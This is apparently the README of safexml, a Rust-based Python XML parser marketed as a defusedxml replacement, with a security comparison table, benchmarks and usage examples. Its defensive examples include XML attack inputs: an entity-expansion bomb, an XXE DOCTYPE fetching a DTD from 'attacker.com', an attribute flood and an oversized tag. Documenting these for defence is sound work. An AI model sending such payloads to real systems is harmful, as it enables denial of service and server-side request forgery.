The memory-safe, GIL-free, ultra-fast XML parser and drop-in defusedxml successor built in Rust.
For over a decade, Python developers relied on defusedxml to protect against XML bombs. But defusedxml is fundamentally a legacy wrapper around CPython's 1990s-era C pyexpat engine. In modern Python (>=3.12), defusedxml has become a security liability and performance bottleneck:
defusedxml is just a Python-level monkeypatch on top of C libexpat. When libexpat suffers from integer overflows, heap buffer overflows, or use-after-free bugs, defusedxml cannot protect you. Between 2022 and 2026 alone, libexpat was hit by a barrage of critical CVEs:
- CVE-2024-45490, CVE-2024-45491, CVE-2024-45492: Integer overflows in XML parsing causing heap corruption.
- CVE-2023-52425: Denial of service through entity expansion parser state corruption.
- CVE-2022-25235, CVE-2022-25236, CVE-2022-23852: Malformed namespace and character encoding heap buffer crashes.
SafeXML is written in 100% memory-safe Rust using quick-xml and PyO3. There is zero C code, zero raw memory pointers, zero heap corruption, and zero use-after-free risk.
When parsing XML inside high-concurrency web frameworks (FastAPI, Django, Flask, Celery, gRPC), defusedxml holds Python's Global Interpreter Lock (GIL). Ten worker threads parsing XML become serialized into a single-core crawl.
SafeXML detaches the Python GIL during parsing (py.detach(|| ...)). Rust processes, validates, and decodes the XML stream completely in parallel across all CPU cores, unlocking linear multi-core speedup.
defusedxml only guards against traditional DTD and entity expansions. It completely misses modern XML attack vectors:
- Input Size Bounding (CWE-400): Unbounded source streams exhaust host memory before parsing completes. SafeXML enforces
max_input_size(default 256MB) with bounded reading. - Element Count Bounding (CWE-400): Millions of sibling elements bypass recursion depth limits. SafeXML enforces
max_elements(default 5,000,000). - Attribute Flood / Attribute Hash DoS (CWE-400): Attackers submit elements with 100,000 attributes.
defusedxmlconstructs a massive Python dictionary, causing quadratic memory overhead. SafeXML enforcesmax_attributes(default 1,000). - Giant Attribute Value Bombs (CWE-400): A single 50MB attribute value crashes memory.
defusedxmldoes not inspect attribute lengths. SafeXML enforcesmax_attribute_size(default 10MB). - Comment Amplification Bombs: Millions of comments or giant comment streams exhaust parser memory. SafeXML enforces
max_comment_size(default 10MB). - Tag Name Memory Bombs: Gigantic element tag names consume unbounded memory during string interning. SafeXML enforces
max_name_size(default 1,024 chars). - Null Byte Injection: Embedded null bytes (
\0) in tag or attribute names cause C-string truncation attacks downstream in databases and auth services. SafeXML strictly rejects null bytes.
| Security / Feature Matrix | safexml (Rust) |
defusedxml (Python + C) |
lxml (C libxml2) |
xml.etree (Python stdlib) |
|---|---|---|---|---|
| Billion Laughs / Exponential Entity Bomb | π‘οΈ BLOCKED | π‘οΈ BLOCKED | β VULNERABLE | |
| Quadratic Blowup Entity Attack | π‘οΈ BLOCKED | π‘οΈ BLOCKED | β VULNERABLE | |
| External Entity (XXE) / SSRF | π‘οΈ BLOCKED | π‘οΈ BLOCKED | β VULNERABLE | |
| External DTD Retrieval | π‘οΈ BLOCKED | π‘οΈ BLOCKED | β VULNERABLE | |
| Document Size Bounding | π‘οΈ BLOCKED (max_input_size) |
β Unbounded read | β Unbounded read | |
| Element Count Bounding | π‘οΈ BLOCKED (max_elements) |
β Unbounded | β Unbounded | β Unbounded |
| Attribute Flood / Memory DoS (CWE-400) | π‘οΈ BLOCKED (max_attributes) |
β VULNERABLE | β VULNERABLE | β VULNERABLE |
| Giant Attribute Value Bomb (CWE-400) | π‘οΈ BLOCKED (max_attribute_size) |
β VULNERABLE | β VULNERABLE | β VULNERABLE |
| Tag Name Memory Bomb | π‘οΈ BLOCKED (max_name_size) |
β VULNERABLE | β VULNERABLE | β VULNERABLE |
| Comment Amplification Bomb | π‘οΈ BLOCKED (max_comment_size) |
β VULNERABLE | β VULNERABLE | β VULNERABLE |
| Null Byte Identifier Injection | π‘οΈ BLOCKED | β Truncated / Allowed | β Truncated / Allowed | β Truncated / Allowed |
| Immune to C-Level Memory Corruption | π‘οΈ YES (Safe Rust) | β No (libexpat CVEs) |
β No (libxml2 CVEs) |
β No (libexpat CVEs) |
| Releases Python GIL (Parallel Scaling) | β‘ YES (py.detach) |
β No (Blocks GIL) | β No (Blocks GIL) | |
PEP 561 Type Annotations (py.typed) |
β YES | β No | ||
| Rich / Structured Logging Compatible | β YES | β Missing args | β Yes | β Yes |
ElementTree indent() Built-in |
β YES | β Missing | β Yes | β Yes |
| Modern Python Target | π Python >= 3.12 | ποΈ Python 2 / Legacy | π All | π Standard library |
Benchmarks run on Linux x86_64, Python 3.12.14, comparing safexml against defusedxml and stdlib xml.etree:
Small Workload (~1 KB XML document):
SafeXML (Rust): 67.2 Β΅s | 14,879 ops/sec [1.63x FASTER (+62.9% throughput)] β‘
defusedxml: 109.5 Β΅s | 9,133 ops/sec [Baseline]
Large Workload (~500 KB, 5,000 items):
SafeXML (Rust): 42.3 ms | 23.6 ops/sec [1.23x FASTER (+23.3% throughput)] β‘
defusedxml: 52.2 ms | 19.2 ops/sec [Baseline]
Under concurrent.futures.ThreadPoolExecutor simulating concurrent API requests:
| Worker Threads | defusedxml Throughput |
SafeXML Throughput |
Real-World Concurrency Speedup |
|---|---|---|---|
| 2 Workers | 547.6 docs/sec | 779.9 docs/sec | 1.42x FASTER π |
| 4 Workers | 579.8 docs/sec | 828.8 docs/sec | 1.43x FASTER π |
| 8 Workers | 624.1 docs/sec | 838.6 docs/sec | 1.34x FASTER π |
Under heavy multi-threaded workloads,
defusedxmlsaturates the GIL and stalls.safexmlfrees Python threads to process requests in parallel.
safexml provides complete compatibility with Python's standard xml.etree.ElementTree while delivering modern developer ergonomics:
- Structured Tracebacks: All exceptions populate standard
argsandmessageproperties, rendering cleanly inrich, IPython, and logging pipelines. - PEP 561 Typing: Ships with inline
py.typedmarkers and comprehensive type annotations formypyandpyright. - ElementTree
indent(): Full support for XML pretty-printing and tree indentation matching Python 3.9+ standard library APIs. - Element Class Re-export:
Elementis exported directly fromsafexml.ElementTreeand top-levelsafexml. - Namespace Registration:
register_namespace()is supported for deterministic namespace prefix serialization. - Signature Parity:
fromstring()accepts standard library keyword arguments includingparser=. - Non-Destructive Defusing:
defuse_stdlib()patches standard library parsers without breaking third-party libraries (e.g.openpyxl,xmlschema) or corruptingElementidentity.
Prebuilt abi3 binary wheels are available on PyPI for Linux, macOS (Apple Silicon & Intel), and Windows:
pip install safexmlRequirements: Python >= 3.12.
Simply update your import:
# Before:
# import defusedxml.ElementTree as ET
# After:
import safexml.ElementTree as ET
# 100% identical API, backed by Rust:
root = ET.fromstring("<catalog><item id='1'>Safe XML</item></catalog>")
print(root.tag) # "catalog"
print(root[0].text) # "Safe XML"
# Built-in pretty-printing
ET.indent(root)
print(ET.tostring(root, encoding="unicode"))# minidom drop-in
from safexml import minidom
doc = minidom.parseString("<catalog><item id='1'>Safe XML</item></catalog>")
print(doc.documentElement.tagName) # "catalog"
# SAX drop-in
from safexml import sax
from xml.sax.handler import ContentHandler
class CustomHandler(ContentHandler):
def startElement(self, name, attrs):
print(f"Element: {name}")
sax.parseString("<root><item/></root>", CustomHandler())If you have third-party dependencies (like openpyxl, boto3, or saml2) using Python's standard xml.etree.ElementTree, xml.dom.minidom, or xml.sax, you can secure your entire application runtime with one call:
import safexml
# Safely patches xml.etree.ElementTree, xml.dom.minidom, and xml.sax
safexml.defuse_stdlib()import safexml.ElementTree as ET
from safexml.common import (
DefusedXmlException,
DTDForbidden,
EntitiesForbidden,
ExternalReferenceForbidden,
)
# 1. Billion Laughs / Exponential Entity Bomb
try:
ET.fromstring("""<!DOCTYPE bomb [
<!ENTITY a "1234567890">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
]><bomb>&a;</bomb>""")
except EntitiesForbidden as exc:
print(f"Blocked entity expansion: {exc.name}")
# 2. External DTD / XXE / SSRF
try:
ET.fromstring("""<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd"><root/>""")
except ExternalReferenceForbidden as exc:
print(f"Blocked external reference: {exc.sysid}")
# 3. Attribute Flood DoS (CWE-400)
try:
# Restrict attributes to 5 per element (default: 1,000)
ET.fromstring("<root a1='1' a2='2' a3='3' a4='4' a5='5' a6='6'/>", max_attributes=5)
except DefusedXmlException as exc:
print(f"Blocked attribute flood: {exc}")
# 4. Giant Tag Name Bomb
try:
ET.fromstring(f"<{'A' * 2000}/>", max_name_size=1024)
except DefusedXmlException as exc:
print(f"Blocked oversized tag: {exc}")SafeXML is rigorously verified against the official W3C XML Conformance Test Suite (XMLTS 20130923) across all 2,585 test cases:
- 100.00% Malformed Rejection Rate: Zero discrepancies across all applicable XML 1.0 test cases. All non-well-formed documents are strictly rejected with zero panics or crashes.
- Security Policy Enforcement: Explicit exclusions for external entity references (
forbid_external=True) and general entity expansions (forbid_entities=True) block XXE and exponential blowup while preserving standard conformance. - Automated Verification: Integrated manifest runner in
scripts/run_w3c_conformance.pyand automated pytest suite.
For the complete breakdown and specification details, see the W3C Conformance Report.
SafeXML is validated against real-world enterprise schemas and payloads aggregated in polyxml/polyxml-schema-corpus across 18 critical industries:
- Battle-Tested Domains: SAML 2.0 Identity, AS4 ebMS3 B2B Messaging, ISDA FpML 5.12 Derivatives, ISO 20022 SEPA Banking, HL7 FHIR R4 & CDA R2.1 Healthcare, OASIS UBL 2.1 Invoicing, NATO/DoD UCI 2.5 Defense, and ICAO/FAA FIXM 4.0 Aviation.
- SAML & AS4 Adversarial Hardening: Zero-trust defense against XXE injection, exponential entity expansion, quadratic blowup, and attribute-flood DoS payloads injected directly into authentication tokens and SOAP envelopes.
- Large-Document Throughput: Up to 43 MB/s single-threaded throughput and 1.4x to 1.66x multi-threaded concurrency speedup over
defusedxmlon multi-megabyte schemas.
For benchmark data and attack reproduction suites, see the Industrial Validation Report.
SafeXML incorporates continuous fuzz testing to guarantee memory safety and zero panics across arbitrary inputs and parameter configurations:
- Structure-Aware libFuzzer: Randomized
ParseOptionsfuzz target (fuzz/fuzz_targets/fuzz_parser.rs) exploring permutations of depth limits, attribute bounds, and DTD permissions. - XML Syntax Dictionary: Seeded with
fuzz/xml.dictcontaining XML grammar tokens, DTD specifiers, namespace declarations, and known attack strings. - Nightly Sanitizer Pipeline: Automated GitHub Actions workflow (
.github/workflows/fuzz.yml) running libFuzzer under AddressSanitizer (ASan) and UndefinedBehaviorSanitizer (UBSan) with crash artifact archiving. - Google OSS-Fuzz: Integration manifests prepared in
oss-fuzz/for 24/7 continuous distributed cluster fuzzing.
Both projects are maintained by the PolyXML organization:
| Feature | safexml |
polyxml |
|---|---|---|
| Primary Role | Untyped DOM / ElementTree drop-in replacement | Data-Binding & Serde Engine (Schema-driven) |
| Output Type | xml.etree.ElementTree.Element |
Typed Python objects (Dataclasses, Pydantic, Attrs) |
| Primary Use | Legacy migrations, SAML, SVG, Office files, arbitrary XML | High-throughput APIs, SOAP, microservices, typed pipelines |
| Security Focus | Comprehensive attack surface defense & resource bounding | Strict schema validation & zero-copy Rust deserialization |
MIT License. Engineered with pride under the PolyXML organization by Bailey Nguyen.
